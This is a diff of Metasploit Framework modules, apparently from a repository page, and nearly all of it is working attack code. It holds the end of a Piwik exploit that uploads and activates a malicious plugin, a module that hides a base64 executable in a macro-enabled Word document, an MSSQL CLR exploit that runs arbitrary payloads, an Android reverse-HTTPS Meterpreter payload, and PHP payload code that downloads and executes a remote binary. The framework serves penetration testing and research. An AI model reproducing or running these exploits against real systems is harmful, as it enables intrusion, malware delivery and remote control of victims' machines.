||||
|
||||
if marketplace_available
|
||||
print_status("Checking if Marketplace plugin is active")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalized_index,
|
||||
'cookie' => cookies,
|
||||
'vars_get' => {
|
||||
'module' => 'Marketplace',
|
||||
'action' => 'index'
|
||||
}
|
||||
})
|
||||
fail_with(Failure::UnexpectedReply, 'Can not check for Marketplace plugin') unless res
|
||||
if res.code == 200 && res.body =~ /The plugin Marketplace is not enabled/
|
||||
print_status('Marketplace plugin is not enabled, trying to enable it')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalized_index,
|
||||
'cookie' => cookies,
|
||||
'vars_get' => {
|
||||
'module' => 'CorePluginsAdmin',
|
||||
'action' => 'plugins'
|
||||
}
|
||||
})
|
||||
mp_activate_nonce = nil
|
||||
if res && res.code == 200
|
||||
match = res.body.match(/<a href=['"]index\.php\?module=CorePluginsAdmin&action=activate&pluginName=Marketplace&nonce=(\w+).*['"]>/)
|
||||
if match
|
||||
mp_activate_nonce = match[1]
|
||||
end
|
||||
end
|
||||
fail_with(Failure::UnexpectedReply, 'Can not extract Marketplace activate CSRF token') unless mp_activate_nonce
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalized_index,
|
||||
'cookie' => cookies,
|
||||
'vars_get' => {
|
||||
'module' => 'CorePluginsAdmin',
|
||||
'action' => 'activate',
|
||||
'pluginName' => 'Marketplace',
|
||||
'nonce' => "#{mp_activate_nonce}"
|
||||
}
|
||||
})
|
||||
if res && res.redirect?
|
||||
print_good('Marketplace plugin enabled')
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, 'Can not enable Marketplace plugin. Please try to manually enable it.')
|
||||
end
|
||||
else
|
||||
print_good('Seems like the Marketplace plugin is already enabled')
|
||||
end
|
||||
end
|
||||
|
||||
print_status('Generating plugin')
|
||||
plugin_name = Rex::Text.rand_text_alpha(10)
|
||||
zip = generate_plugin(plugin_name)
|
||||
print_good("Plugin #{plugin_name} generated")
|
||||
|
||||
print_status('Uploading plugin')
|
||||
|
||||
# newer Piwik versions have a seperate Marketplace plugin
|
||||
if marketplace_available
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalized_index,
|
||||
'cookie' => cookies,
|
||||
'vars_get' => {
|
||||
'module' => 'Marketplace',
|
||||
'action' => 'overview'
|
||||
}
|
||||
})
|
||||
else
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalized_index,
|
||||
'cookie' => cookies,
|
||||
'vars_get' => {
|
||||
'module' => 'CorePluginsAdmin',
|
||||
'action' => 'marketplace'
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
upload_nonce = nil
|
||||
if res && res.code == 200
|
||||
match = res.body.match(/<form.+id="uploadPluginForm".+nonce=(\w+)/m)
|
||||
if match
|
||||
upload_nonce = match[1]
|
||||
end
|
||||
end
|
||||
fail_with(Failure::UnexpectedReply, 'Can not extract upload CSRF token') if upload_nonce.nil?
|
||||
|
||||
# plugin files to delete after getting our session
|
||||
register_files_for_cleanup("plugins/#{plugin_name}/plugin.json")
|
||||
register_files_for_cleanup("plugins/#{plugin_name}/#{plugin_name}.php")
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(zip, 'application/zip', 'binary', "form-data; name=\"pluginZip\"; filename=\"#{plugin_name}.zip\"")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalized_index,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data.to_s,
|
||||
'cookie' => cookies,
|
||||
'vars_get' => {
|
||||
'module' => 'CorePluginsAdmin',
|
||||
'action' => 'uploadPlugin',
|
||||
'nonce' => "#{upload_nonce}"
|
||||
}
|
||||
)
|
||||
activate_nonce = nil
|
||||
if res && res.code == 200
|
||||
match = res.body.match(/<a.*href="index.php\?module=CorePluginsAdmin&action=activate.+nonce=([^&]+)/)
|
||||
if match
|
||||
activate_nonce = match[1]
|
||||
end
|
||||
end
|
||||
fail_with(Failure::UnexpectedReply, 'Can not extract activate CSRF token') if activate_nonce.nil?
|
||||
|
||||
print_status('Activating plugin and triggering payload')
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalized_index,
|
||||
'cookie' => cookies,
|
||||
'vars_get' => {
|
||||
'module' => 'CorePluginsAdmin',
|
||||
'action' => 'activate',
|
||||
'nonce' => "#{activate_nonce}",
|
||||
'pluginName' => "#{plugin_name}"
|
||||
}
|
||||
}, 5)
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,112 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/zip'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2017, 3, 16), 'exploit/multi/fileformat/office_word_macro')
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Microsoft Office Word Malicious Macro Execution",
|
||||
'Description' => %q{
|
||||
This module generates a macro-enabled Microsoft Office Word document. The comments
|
||||
metadata in the data is injected with a Base64 encoded payload, which will be
|
||||
decoded by the macro and execute as a Windows executable.
|
||||
|
||||
For a successful attack, the victim is required to manually enable macro execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'sinn3r' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
'DisablePayloadHandler' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
['Microsoft Office Word', {}],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jan 10 2012",
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new("BODY", [false, 'The message for the document body', '']),
|
||||
OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def on_file_read(short_fname, full_fname)
|
||||
buf = File.read(full_fname)
|
||||
|
||||
case short_fname
|
||||
when /document\.xml/
|
||||
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
|
||||
when /core\.xml/
|
||||
b64_payload = ' ' * 55
|
||||
b64_payload << Rex::Text.encode_base64(generate_payload_exe)
|
||||
buf.gsub!(/PAYLOADGOESHERE/, b64_payload)
|
||||
end
|
||||
|
||||
# The original filename of __rels is actually ".rels".
|
||||
# But for some reason if that's our original filename, it won't be included
|
||||
# in the archive. So this hacks around that.
|
||||
case short_fname
|
||||
when /__rels/
|
||||
short_fname.gsub!(/\_\_rels/, '.rels')
|
||||
end
|
||||
|
||||
yield short_fname, buf
|
||||
end
|
||||
|
||||
|
||||
def package_docm(path)
|
||||
zip = Rex::Zip::Archive.new
|
||||
|
||||
Dir["#{path}/**/**"].each do |file|
|
||||
p = file.sub(path+'/','')
|
||||
|
||||
if File.directory?(file)
|
||||
print_status("Packaging directory: #{file}")
|
||||
zip.add_file(p)
|
||||
else
|
||||
on_file_read(p, file) do |fname, buf|
|
||||
print_status("Packaging file: #{fname}")
|
||||
zip.add_file(fname, buf)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
zip.pack
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
print_status('Generating our docm file...')
|
||||
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
|
||||
docm = package_docm(path)
|
||||
file_create(docm)
|
||||
super
|
||||
end
|
||||
|
||||
end
|
|
@ -61,10 +61,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
def get_path()
|
||||
case sysinfo['OS']
|
||||
when /Windows (7|8|10|2012|2008)/
|
||||
return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
|
||||
when /Windows (NT|XP)/
|
||||
return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
|
||||
else #/Windows (7|8|10|2012|2008)/ we assume a modern operating system
|
||||
return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,212 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::MSSQL
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',
|
||||
'Description' => %q{
|
||||
This module executes an arbitrary native payload on a Microsoft SQL
|
||||
server by loading a custom SQL CLR Assembly into the target SQL
|
||||
installation, and calling it directly with a base64-encoded payload.
|
||||
|
||||
The module requires working credentials in order to connect directly to the
|
||||
MSSQL Server.
|
||||
|
||||
This method requires the user to have sufficient privileges to install a custom
|
||||
SQL CRL DLL, and invoke the custom stored procedure that comes with it.
|
||||
|
||||
This exploit does not leave any binaries on disk.
|
||||
|
||||
Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Lee Christensen', # original idea/research
|
||||
'Nathan Kirk', # extra research/blog post
|
||||
'OJ Reeves' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 01 1999'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
unless mssql_login_datastore(datastore['DATABASE'])
|
||||
vprint_status('Invalid SQL Server credentials')
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
version = get_sql_version_string
|
||||
|
||||
unless version =~ /Server 20(05|08|12|14|16)/
|
||||
vprint_status('Unsupported version of SQL Server')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
if mssql_is_sysadmin
|
||||
vprint_good "User #{datastore['USERNAME']} is a sysadmin"
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
def get_sql_version_string
|
||||
mssql_query("select @@version", false)[:rows].first[0]
|
||||
end
|
||||
|
||||
def get_sql_architecture(sql_version_string)
|
||||
if sql_version_string =~ /(64-bit|x64)/i
|
||||
ARCH_X64
|
||||
else
|
||||
ARCH_X86
|
||||
end
|
||||
end
|
||||
|
||||
def get_exploit_version(sql_version_string)
|
||||
# keeping it simple at this point.
|
||||
if sql_version_string =~ /Server (2005|2008|2012)/
|
||||
'v3.5'
|
||||
else
|
||||
# assume 2014/2016 at this point.
|
||||
'v4.0'
|
||||
end
|
||||
end
|
||||
|
||||
def set_trustworthy(on)
|
||||
mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)
|
||||
end
|
||||
|
||||
def is_trustworthy
|
||||
# SQLi in MSF!! OMG!
|
||||
result = mssql_query("SELECT CASE is_trustworthy_on WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.databases WHERE name ='#{datastore['DATABASE']}'", false)
|
||||
result[:rows][0] == 'ON'
|
||||
end
|
||||
|
||||
def enable_clr(enable)
|
||||
query = %Q^
|
||||
EXEC sp_configure 'show advanced options', 1;
|
||||
RECONFIGURE;
|
||||
EXEC sp_configure 'clr enabled', #{enable ? 1 : 0};
|
||||
RECONFIGURE;
|
||||
^
|
||||
mssql_query(query, false)
|
||||
end
|
||||
|
||||
def is_clr_enabled
|
||||
result = mssql_query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false)
|
||||
result[:rows][0] == 'ON'
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless mssql_login_datastore(datastore['DATABASE'])
|
||||
fail_with(Failure::BadConfig, 'Unable to login with the given credentials')
|
||||
end
|
||||
|
||||
unless mssql_is_sysadmin
|
||||
fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions')
|
||||
end
|
||||
|
||||
# This module will only support 'thread' for EXITFUNC
|
||||
# Bad things happen to SQL otherwise!
|
||||
unless datastore['EXITFUNC'] == 'thread'
|
||||
print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server")
|
||||
datastore['EXITFUNC'] = 'thread'
|
||||
end
|
||||
|
||||
sql_version = get_sql_version_string
|
||||
vprint_status("Target SQL Version is:\n#{sql_version}")
|
||||
|
||||
sql_arch = get_sql_architecture(sql_version)
|
||||
unless payload.arch.first == sql_arch
|
||||
fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}")
|
||||
end
|
||||
|
||||
trustworthy = is_trustworthy
|
||||
clr_enabled = is_clr_enabled
|
||||
|
||||
unless trustworthy
|
||||
print_status('Database does not have TRUSTWORTHY setting on, enabling ...')
|
||||
set_trustworthy(true)
|
||||
end
|
||||
|
||||
unless clr_enabled
|
||||
print_status('Database does not have CLR support enabled, enabling ...')
|
||||
enable_clr(true)
|
||||
end
|
||||
|
||||
exploit_version = get_exploit_version(sql_version)
|
||||
print_status("Using version #{exploit_version} of the Payload Assembly")
|
||||
exploit_file_path = ::File.join(Msf::Config.install_root, 'data',
|
||||
'SqlClrPayload', exploit_version, 'SqlClrPayload.dll')
|
||||
vprint_status("Using #{exploit_file_path}")
|
||||
|
||||
assembly = ::File.read(exploit_file_path)
|
||||
|
||||
# Convert the assembly to the required format for execution of the stored
|
||||
# procedure to create the custom stored proc
|
||||
hex_assembly = "0x#{assembly.unpack('H*')[0]}"
|
||||
asm_name = Rex::Text.rand_text_alpha(rand(4) + 8)
|
||||
query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE"
|
||||
|
||||
print_status('Adding custom payload assembly ...')
|
||||
mssql_query(query, false)
|
||||
|
||||
proc_name = Rex::Text.rand_text_alpha(rand(4) + 8)
|
||||
param_name = Rex::Text.rand_text_alpha(rand(4) + 8)
|
||||
query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]"
|
||||
|
||||
print_status('Exposing payload execution stored procedure ...')
|
||||
mssql_query(query, false)
|
||||
|
||||
# Generate the base64 encoded payload
|
||||
b64payload = Rex::Text.encode_base64(payload.encoded)
|
||||
query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'"
|
||||
print_status('Executing the payload ...')
|
||||
mssql_query(query, false)
|
||||
|
||||
print_status('Removing stored procedure ...')
|
||||
mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false)
|
||||
|
||||
print_status('Removing assembly ...')
|
||||
mssql_query("DROP ASSEMBLY [#{asm_name}]", false)
|
||||
|
||||
unless clr_enabled
|
||||
print_status('Restoring CLR setting ...')
|
||||
enable_clr(false)
|
||||
end
|
||||
|
||||
unless trustworthy
|
||||
print_status('Restoring Trustworthy setting ...')
|
||||
set_trustworthy(false)
|
||||
end
|
||||
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,54 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/android'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
require 'msf/base/sessions/meterpreter_android'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
|
||||
super(merge_info(info,
|
||||
'Name' => 'Android Meterpreter Shell, Reverse HTTPS Inline',
|
||||
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'android',
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Session' => Msf::Sessions::Meterpreter_Java_Android,
|
||||
'Payload' => '',
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
opts[:uri] = generate_uri_uuid_mode(:connect, uri_req_len)
|
||||
opts[:stageless] = true
|
||||
super(opts)
|
||||
end
|
||||
|
||||
end
|
|
@ -43,7 +43,7 @@ module MetasploitModule
|
|||
|
||||
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4);
|
||||
shell = <<-END_OF_PHP_CODE
|
||||
#{php_preamble({:disabled_varname => dis})}
|
||||
#{php_preamble(disabled_varname: dis)}
|
||||
$port=#{datastore['LPORT']};
|
||||
|
||||
$scl='socket_create_listen';
|
||||
|
|
|
@ -40,6 +40,7 @@ module MetasploitModule
|
|||
exename = Rex::Text.rand_text_alpha(rand(8) + 4)
|
||||
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
||||
shell = <<-END_OF_PHP_CODE
|
||||
#{php_preamble(disabled_varname: dis)}
|
||||
if (!function_exists('sys_get_temp_dir')) {
|
||||
function sys_get_temp_dir() {
|
||||
if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
|
||||
|
@ -55,7 +56,9 @@ module MetasploitModule
|
|||
}
|
||||
$fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe";
|
||||
$fd_in = fopen("#{datastore['URL']}", "rb");
|
||||
if ($fd_in === false) { die(); }
|
||||
$fd_out = fopen($fname, "wb");
|
||||
if ($fd_out === false) { die(); }
|
||||
while (!feof($fd_in)) {
|
||||
fwrite($fd_out, fread($fd_in, 8192));
|
||||
}
|
||||
|
@ -63,8 +66,7 @@ module MetasploitModule
|
|||
fclose($fd_out);
|
||||
chmod($fname, 0777);
|
||||
$c = $fname;
|
||||
#{php_preamble({:disabled_varname => dis})}
|
||||
#{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})}
|
||||
#{php_system_block(cmd_varname: "$c", disabled_varnam: dis)}
|
||||
@unlink($fname);
|
||||
END_OF_PHP_CODE
|
||||
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue